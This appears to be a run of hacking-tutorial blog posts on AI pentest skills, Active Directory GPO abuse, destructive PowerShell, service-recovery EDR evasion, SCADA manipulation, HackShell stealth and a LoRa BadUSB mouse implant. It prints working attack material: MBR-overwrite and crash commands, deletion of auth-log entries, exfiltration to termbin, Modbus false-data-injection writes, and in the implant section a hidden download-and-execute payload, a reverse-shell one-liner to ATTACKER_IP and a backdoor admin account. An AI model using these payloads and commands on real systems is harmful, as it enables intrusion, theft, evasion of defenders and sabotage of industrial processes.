Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.
There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.
Bug Bounty Skills
Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.
The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.
You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.
The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.
Here are a few examples of the results we got with these skills.
API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.
Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.
We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.
Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings.
Active Directory Skills
Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).
Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.
General Cybersecurity Skills
Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.
Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.
SCADA Skills
On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.
The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.
Science Skills
Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.
1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.
Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.
The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.
Summary
AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.
Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.
Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.
A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.
What is a GPO
A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more.
Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it.
We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.
For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).
As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.
It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it.
Where Do They Apply?
Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.
Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.
Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.
You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.
The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.
Let’s list what computers are in Workstations-Temp.
Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.
You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.
Listing Files
For the reason mentioned above, we won’t trust the output and list all the files ourselves.
Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.
Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.
Decrypting the Password
Let’s take a look at Groups.xml and see its structure.
Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there.
kali > nxc smb DC -u user -p password
Permission to Change
Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.
This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.
In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.
A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.
Ownership
An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big.
In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.
If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.
Summary
We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times.
There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!
During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.
Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.
ADScan
We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.
Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.
Setting Up
The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.
kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable docker
Once Docker is ready, you can install ADScan.
kali > pipx install adscan
kali > adscan install
A stable internet connection is important here.
After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.
kali > adscan start
Inside the interface, you can see a help menu that keeps commands in logical sections.
Each section has its own subcommands.
Exploitation
As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.
start_auth
After running this command, give it the credentials and some details about the domain that you know.
From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.
In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).
When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.
The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.
As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.
ADScan does not replace understanding, but it significantly improves efficiency and consistency.
ADPulse
ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).
Setting Up
Compared to ADScan, setting up ADPulse is straightforward.
kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txt
Once the environment is ready, you can start it.
kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'
As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.
You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.
Summary
Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
In this part of the series, we’re looking at how PowerShell can cause serious damage when nothing is restricting it. We’ll show how it can slow systems down and knock them off completely. You’ll see how hardware interfaces can get disabled, license keys wiped and a blue screen forced with machines left unbootable.
All these techniques are destructive, but our goal here is to show you that you shouldn’t just monitor command execution in PowerShell, you should also experiment with Language Modes to limit the attack surface if a workstation gets compromised. If these scripts are misused in the wrong context, the results can be irreversible.
We’ll begin with the basics and then move toward the dangerous things.
Overloading RAM
The loadram.ps1 script works by aggressively consuming system memory. It allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the OS does not immediately collapse. The machine becomes unusable and applications stop responding.
This type of attack can be used as a DoS tactic to slow down a server, or it can act as a distraction, while other activity takes place.
PS > .\loadram.ps1
Overloading CPU
The loadcpu.ps1 script applies the same principle to processor cores, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this script can serve as a cover while hackers are doing something else.
PS > .\loadcpu.ps1
Windows License Killer
The license.ps1 script clears Windows product keys by wiping out OEM, retail and volume license entries from the registry. The system becomes stripped of activation data. After restarting the Software Protection Service, Windows will be unlicensed and may refuse to validate against Microsoft servers.
PS > .\license.ps1
Then you can check the product key:
PS > (Get-WmiObject -query 'select from SoftwareLicensingService').OA3xOriginalProductKey
The result should be empty.
USB and Network Killer
You can also kill network adapters and USB controllers using killer.ps1 script. Once you run it, the mouse and keyboard will stop working. There will be no way to transfer files, connect to the network or even plug in a recovery device without significant intervention.
PS > .\killer.ps1
Mayhem by PowerSploit
PowerSploit includes a module called Mayhem, which has two destructive PowerShell functions. These are Set-CriticalProcess and Set-MasterBootRecord. Both directly attack the operating system itself.
Set-CriticalProcess
Windows protects smss.exe and csrss.exe by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. Set-CriticalProcess can tag any process with this critical status. Killing it immediately forces a system crash.
To use it, first copy the Mayhem module from the repository to:
C:\Program Files\WindowsPowerShell\Modules\
Then you can run Set-CriticalProcess:
PS > Set-CriticalProcess
Confirm with Y and expect the machine to blue screen in moments.
Set-MasterBootRecord
This is the most destructive of all. Unlike Set-CriticalProcess, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR has the bootloader and partition table and without it Windows cannot load.
When it’s overwritten, the system may only display your custom message and will refuse to boot into the OS. Some malware does the same. The OS will work only if you fix the MBR, but chances are you will have to reinstall the OS.
In our article on Digital Forensics we were repairing a corrupted drive where the MBR had been overwritten.
PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'
You can also force the system to reboot right after:
PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately
It will no longer boot into Windows.
Summary
We showed how far PowerShell can be pushed when used as a weapon. That alone should be enough to convince you to restrict its use and work with Language Modes to help protect your system. By default, workstations and servers are pretty permissive, which makes them comfortable to use. The same permissiveness is just as accommodating for a hacker who has breached a system through phishing. Restricted Language Mode is a must on workstations where users don’t need PowerShell in the first place.
Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.
RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.
How It Works
Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.
Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.
Abusing Service Recovery Function
For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.
Once the service crashes it will print the output of whoami into uev_temp.txt
UevAgentService can be started on boot or on demand:
# On demand - you will need to start it manually
PS > sc.exe config UevAgentService start= demand
# On boot
PS > sc.exe config UevAgentService start= auto
Then we start it:
PS > sc.exe start UevAgentService
Now we can validate it by checking the state and the result:
PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt
As you can see, the service failed to start and Windows executed the recovery plan.
The example above is benign, but you can also try it in different ways. Here are a few examples:
We set it up to execute a Metasploit stager and got our connection back.
Summary
Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.
Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.
Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.
There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.
SCADAver
SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.
This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.
Setting Up
We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.
We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.
First let’s list the help menu and see what the tool has:
ubuntu > scadaver -h
As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.
Siemens S7 – Basics
Let’s do a basic scan of a Siemens system and see what the tool comes back with.
# a basic scan
ubuntu > scadaver -i IP scan
# a stealthy scan
ubuntu > scadaver -z -i IP scan
It found port 102 open, and it was Siemens indeed.
We can also do a protocol specific scan or point it at a custom port if necessary:
ubuntu > scadaver -z -i IP --protocol siemens scan
# or with a custom port
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan
Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.
ubuntu > scadaver run portscan -i IP
Having covered the basics, we can move on to more interesting stuff and pull some information off this system.
Siemens S7 – Extracting Values
SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).
ubuntu > scadaver -i IP get io
Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.
ubuntu > scadaver -i IP get db 1 0 64
Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.
Modbus – Changing Values
We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:
ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1
Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.
We can pull this off too:
ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20
With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.
As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.
ubuntu > scadaver -i IP run flash-led
These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.
ubuntu > scadaver -i IP run default-creds
More exploits and actions that run has can be seen in the help menu:
ubuntu > scadaver run -h
Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:
ubuntu > scadaver db refs siemens
Browser UI & Terminal UI
In case you don’t like working with the CLI, you can try the other options.
For the Terminal UI run this:
ubuntu > scadaver
And the Browser UI can be set up with this command:
ubuntu > scadaver web
It will be hosted on http://127.0.0.1:8888
Summary
The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.
We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.
If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.
In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.
Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.
We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.
Setting Up
Once you get a shell, load HackShell directly into memory:
You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.
If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:
The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.
We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.
Evasion
Here are some commands that will help you reduce your forensic artefacts.
xhome
This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.
bash$ > xhome
xlog
When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.
bash$ > xlog '1.2.3.4' /var/log/auth.log
xtmux
Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.
This command launches an invisible tmux session:
bash$ > xtmux
Enumeration and Privilege Escalation
Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.
ws
WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.
lpe
LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.
bash$ > lpe
The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.
hgrep
Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.
bash$ > hgrep pass
This can speed things up.
scan
HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.
bash$ > scan PORT IP
loot
That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.
Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.
tb
This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution.
bash$ > tb secrets.txt
After you extract data, delete the local copy:
bash$ > shred secrets.txt
xssh and xscp
These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response.
Connect to another host:
bash$ > xshh root@IP
Upload a file to /tmp on the remote machine:
bash$ > xscp file root@IP:/tmp
Download a file from the remote machine to /tmp:
bash$ > xscp root@IP:/root/secrets.txt /tmp
Summary
HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.
If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.
We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.
Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.
LoKi
LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.
Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.
The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.
Hardware
For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.
For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.
And here’s a photo of his early prototype.
Schematics
The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.
Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.
The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.
Firmware
The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.
You can use PlatformIO to flash the firmware.
Payloads
The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:
Download and execute a payload:
GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER
Create a reverse shell:
GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER
Add a local admin user:
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER
There’s also a table we left for you to grasp the logic, if you’re not familiar with it.
Summary
Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.
If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.
Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.
